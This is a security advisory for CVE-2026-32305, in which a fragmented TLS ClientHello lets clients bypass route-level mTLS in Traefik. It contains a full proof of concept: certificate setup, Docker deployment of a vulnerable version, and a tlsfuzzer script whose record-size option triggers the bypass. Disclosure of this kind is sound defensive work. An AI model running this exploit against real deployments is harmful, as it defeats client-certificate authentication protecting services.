PT-2026-26601 · Go+1 · Github.Com/Traefik/Traefik+3
Infinityhub123
·
Published
2026-03-20
·
Updated
2026-03-20
·
CVE-2026-32305
CVSS v4.0
7.8
High
| AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
Summary
There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.
When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41
- https://github.com/traefik/traefik/releases/tag/v3.6.11
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Summary
I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.
If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).
Details
The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.
- In router.go, ServeTCP function calls clientHelloInfo.
- clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).
- clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)
- Real Go TLS handshake succeeds later without requiring the client cert.
- Request is routed to the host that should have been protected.
Conditions required for impact:
- Route-level TLS options enforce mTLS for a host.
- Default TLS config is weaker (noClientCert, which is the default default).
- Pre-sniff fails to extract SNI (due to fragmented ClientHello).
A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).
A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).
PoC
# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it)
sudo apt update
sudo apt install -y docker.io openssl git python3 python3-venv
sudo usermod -aG docker "$USER"
# in debian/ubuntu run newgrp docker to apply the new group to the user
mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}
cd /tmp/traefik-frag-poc
# CA
openssl genrsa -out certs/ca.key 4096
openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650
-subj "/CN=PoC-CA" -out certs/ca.crt
# Server cert (whoami.home.arpa)
cat > certs/server.cnf <<'EOF SERVER CNF'
[req]
distinguished name = dn
req extensions = v3 req
prompt = no
[dn]
CN = whoami.home.arpa
[v3 req]
subjectAltName = @alt names
[alt names]
DNS.1 = whoami.home.arpa
EOF SERVER CNF
openssl genrsa -out certs/traefik.key 2048
openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf
openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial
-out certs/traefik.crt -days 365 -sha256 -extensions v3 req -extfile certs/server.cnf
# Client cert (valid client)
openssl genrsa -out certs/client.key 2048
openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr
openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial
-out certs/client.crt -days 365 -sha256
cat > config/traefik.yml <<'EOF TRAEFIK CFG'
entryPoints:
websecure:
address: ":8443"
providers:
file:
directory: /etc/traefik/dynamic
watch: true
log:
level: DEBUG
EOF TRAEFIK CFG
cat > config/dynamic/dynamic.yml <<'EOF DYNAMIC CFG'
http:
routers:
whoami:
rule: "Host(`whoami.home.arpa`)"
entryPoints:
- websecure
service: whoami
tls:
options: mtls
services:
whoami:
loadBalancer:
servers:
- url: "http://whoami:80"
tls:
certificates:
- certFile: /certs/traefik.crt
keyFile: /certs/traefik.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
EOF DYNAMIC CFG
docker network create traefik-poc
# run a whoami microservice for the bypass demonstration
docker run -d
--name whoami
--network traefik-poc
--restart unless-stopped
traefik/whoami:v1.11.0
docker run -d
--name traefik
--network traefik-poc
-p 8443:8443
--restart unless-stopped
-v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z"
-v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z"
-v "$PWD/certs:/certs:ro,Z"
traefik:3.6.10
--configFile=/etc/traefik/traefik.yml
# watch traefik logs to ensure everything was deployed correctly
docker logs traefik
# tlsfuzzer setup + frag client script
mkdir -p /tmp/testtlsfuzz
cd /tmp/testtlsfuzz
git clone https://github.com/tlsfuzzer/tlsfuzzer.git
cd tlsfuzzer
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
cat > frag clienthello.py <<'EOF FRAG SCRIPT'
import argparse
import sys
import os
from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import (
Connect,
SetMaxRecordSize,
ClientHelloGenerator,
CertificateGenerator,
CertificateVerifyGenerator,
ClientKeyExchangeGenerator,
ChangeCipherSpecGenerator,
FinishedGenerator,
ApplicationDataGenerator,
AlertGenerator,
)
from tlsfuzzer.expect import (
ExpectServerHello,
ExpectCertificate,
ExpectServerKeyExchange,
ExpectCertificateRequest,
ExpectServerHelloDone,
ExpectChangeCipherSpec,
ExpectFinished,
ExpectApplicationData,
ExpectAlert,
ExpectClose,
)
from tlsfuzzer.helpers import SIG ALL
from tlslite.constants import (
CipherSuite,
ExtensionType,
AlertLevel,
AlertDescription,
GroupName,
)
from tlslite.extensions import (
SNIExtension,
TLSExtension,
SupportedGroupsExtension,
SignatureAlgorithmsExtension,
SignatureAlgorithmsCertExtension,
)
from tlslite.utils.keyfactory import parsePEMKey
from tlslite.x509 import X509
from tlslite.x509certchain import X509CertChain
class PrettyExpectApplicationData(ExpectApplicationData):
def process(self, state, msg):
super().process(state, msg)
text = msg.write().decode("utf-8", errors="replace")
head, , body = text.partition("r
r
")
print("
=== HTTP RESPONSE ===")
print(head)
print()
print(body)
print("=== END HTTP RESPONSE ===
")
def load client cert and key(cert path, key path):
cert = None
key = None
if cert path:
text cert = open(cert path, "rb").read()
if sys.version info[0] >= 3:
text cert = str(text cert, "utf-8")
cert = X509()
cert.parse(text cert)
if key path:
text key = open(key path, "rb").read()
if sys.version info[0] >= 3:
text key = str(text key, "utf-8")
key = parsePEMKey(text key, private=True)
return cert, key
def main():
p = argparse.ArgumentParser()
p.add argument("--connect-host", default="127.0.0.1")
p.add argument("--port", type=int, default=8443)
p.add argument("--sni", default="whoami.home.arpa")
p.add argument("--record-size", type=int, default=512)
p.add argument("--padding-len", type=int, default=1200)
p.add argument("--expect-cert-request", action="store true")
p.add argument("--client-cert-pem", default="")
p.add argument("--client-key-pem", default="")
args = p.parse args()
cert, key = load client cert and key(args.client cert pem, args.client key pem)
print(f"[DBG] cert arg={args.client cert pem!r} key arg={args.client key pem!r}")
for p in [args.client cert pem, args.client key pem]:
if p:
print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")
print(f"[DBG] cert loaded={cert is not None} key loaded={key is not None}")
print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")
if (args.client cert pem or args.client key pem) and not (cert and key):
raise ValueError("Provide both --client-cert-pem and --client-key-pem")
conv = Connect(args.connect host, args.port)
node = conv
node = node.add child(SetMaxRecordSize(args.record size))
ext = {
ExtensionType.server name: SNIExtension().create(bytearray(args.sni, "ascii")),
ExtensionType.supported groups: SupportedGroupsExtension().create(
[GroupName.secp256r1, GroupName.ffdhe2048]
),
ExtensionType.signature algorithms: SignatureAlgorithmsExtension().create(SIG ALL),
ExtensionType.signature algorithms cert: SignatureAlgorithmsCertExtension().create(SIG ALL),
21: TLSExtension().create(21, bytearray(args.padding len)),
}
ciphers = [
CipherSuite.TLS ECDHE RSA WITH AES 128 GCM SHA256,
CipherSuite.TLS ECDHE RSA WITH AES 128 CBC SHA,
CipherSuite.TLS DHE RSA WITH AES 128 CBC SHA,
CipherSuite.TLS EMPTY RENEGOTIATION INFO SCSV,
]
node = node.add child(ClientHelloGenerator(ciphers, extensions=ext))
node = node.add child(ExpectServerHello())
node = node.add child(ExpectCertificate())
node = node.add child(ExpectServerKeyExchange())
if args.expect cert request:
node = node.add child(ExpectCertificateRequest())
node = node.add child(ExpectServerHelloDone())
if args.expect cert request and cert and key:
node = node.add child(CertificateGenerator(X509CertChain([cert])))
node = node.add child(ClientKeyExchangeGenerator())
node = node.add child(CertificateVerifyGenerator(key))
node = node.add child(ChangeCipherSpecGenerator())
node = node.add child(FinishedGenerator())
node = node.add child(ExpectChangeCipherSpec())
node = node.add child(ExpectFinished())
req = bytearray(
f"GET / HTTP/1.1r
Host: {args.sni}r
Connection: closer
r
".encode("ascii")
)
node = node.add child(ApplicationDataGenerator(req))
node = node.add child(PrettyExpectApplicationData(output=sys.stdout))
node = node.add child(AlertGenerator(AlertLevel.warning, AlertDescription.close notify))
node = node.add child(ExpectAlert())
node.next sibling = ExpectClose()
elif args.expect cert request and not (cert and key):
node = node.add child(CertificateGenerator())
node = node.add child(ClientKeyExchangeGenerator())
node = node.add child(ChangeCipherSpecGenerator())
node = node.add child(FinishedGenerator())
node = node.add child(ExpectChangeCipherSpec())
node = node.add child(ExpectFinished())
else:
node = node.add child(ClientKeyExchangeGenerator())
node = node.add child(ChangeCipherSpecGenerator())
node = node.add child(FinishedGenerator())
node = node.add child(ExpectChangeCipherSpec())
node = node.add child(ExpectFinished())
req = bytearray(
f"GET / HTTP/1.1r
Host: {args.sni}r
Connection: closer
r
".encode("ascii")
)
node = node.add child(ApplicationDataGenerator(req))
node = node.add child(PrettyExpectApplicationData(output=sys.stdout))
node = node.add child(AlertGenerator(AlertLevel.warning, AlertDescription.close notify))
node = node.add child(ExpectAlert())
node.next sibling = ExpectClose()
try:
Runner(conv).run()
print("[OK] conversation completed")
except AssertionError as e:
print(f"[TLS RAW ERROR] {e}")
marker = "Unexpected message from peer: "
s = str(e)
if marker in s:
print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}")
raise
if name == " main ":
main()
EOF FRAG SCRIPT
chmod +x frag clienthello.py
cd /tmp/testtlsfuzz/tlsfuzzer
source .venv/bin/activate
# case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate)
python frag clienthello.py
--connect-host 127.0.0.1
--port 8443
--sni whoami.home.arpa
--record-size 16384
--expect-cert-request
# case 1b with openssl instead of my script
printf 'GET / HTTP/1.1r
Host: whoami.home.arpar
Connection: closer
r
' |
openssl s client
-connect 127.0.0.1:8443
-servername whoami.home.arpa
-tls1 2
-CAfile /tmp/traefik-frag-poc/certs/ca.crt
-state -msg -tlsextdebug -verify return error
# case 2: non fragmented, with valid client cert (should succeed)
python frag clienthello.py
--connect-host 127.0.0.1
--port 8443
--sni whoami.home.arpa
--record-size 16384
--expect-cert-request
--client-cert-pem /tmp/traefik-frag-poc/certs/client.crt
--client-key-pem /tmp/traefik-frag-poc/certs/client.key
# case 2b with openssl instead of my script
printf 'GET / HTTP/1.1r
Host: whoami.home.arpar
Connection: closer
r
' |
openssl s client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1 2
-cert /tmp/traefik-frag-poc/certs/client.crt
-key /tmp/traefik-frag-poc/certs/client.key
-CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet
# case 3 fragmented ClientHello, no client cert (bypass behavior test)
python frag clienthello.py
--connect-host 127.0.0.1
--port 8443
--sni whoami.home.arpa
--record-size 500
# in the record-size you can play with it as long as the client hello sni sniff function returns an EOF
Impact
An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.
--
Fix
Improper Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Github.Com/Traefik/Traefik
Github.Com/Traefik/Traefik/V2
Github.Com/Traefik/Traefik/V3
Traefik